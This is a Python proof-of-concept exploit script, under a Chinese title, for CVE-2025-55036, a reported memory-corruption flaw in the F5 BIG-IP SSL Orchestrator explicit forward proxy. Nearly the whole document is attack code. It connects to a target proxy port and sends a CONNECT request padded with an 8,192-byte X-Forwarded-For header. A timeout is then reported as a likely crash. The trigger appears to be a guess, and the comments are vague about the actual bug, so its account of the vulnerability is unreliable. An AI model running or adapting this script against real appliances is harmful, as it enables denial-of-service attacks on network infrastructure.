CVE-2025-55036 F5 BIG-IP SSL Orchestrator显式代理内存破坏漏洞

# CVE-2025-55036 PoC - F5 BIG-IP SSL Orchestrator Memory Corruption via Explicit Forward Proxy # Vulnerability: Memory corruption when proxy connect feature is enabled # CVSS: 7.5 (HIGH) import socket import ssl import struct import sys TARGET_HOST = "<target_bigip_host>" TARGET_PORT = 3128 # Default explicit proxy port PROXY_CONNECT_HOST = "example.com" PROXY_CONNECT_PORT = 443 def craft_malformed_connect_request(host, port): """ Craft a malformed HTTP CONNECT request that triggers memory corruption in F5 BIG-IP SSL Orchestrator when proxy connect feature is enabled. """ # Construct CONNECT request with oversized or malformed headers # to trigger buffer overflow / memory corruption in proxy handling payload = f"CONNECT {host}:{port} HTTP/1.1\r\n" payload += f"Host: {host}:{port}\r\n" # Add abnormally long header value to trigger memory corruption payload += f"X-Forwarded-For: {'A' * 8192}\r\n" payload += "\r\n" return payload.encode() def exploit(target_host, target_port): """ Send malicious proxy traffic to trigger memory corruption in F5 BIG-IP SSL Orchestrator explicit forward proxy. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Connected to {target_host}:{target_port}") # Send malformed CONNECT request malicious_payload = craft_malformed_connect_request( PROXY_CONNECT_HOST, PROXY_CONNECT_PORT ) sock.send(malicious_payload) print(f"[*] Sent malformed CONNECT request ({len(malicious_payload)} bytes)") # Receive response (or lack thereof indicating crash) try: response = sock.recv(4096) print(f"[*] Response: {response[:100]}") except socket.timeout: print("[!] Connection timed out - possible DoS / crash triggered") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST port = int(sys.argv[2]) if len(sys.argv) > 2 else TARGET_PORT exploit(host, port)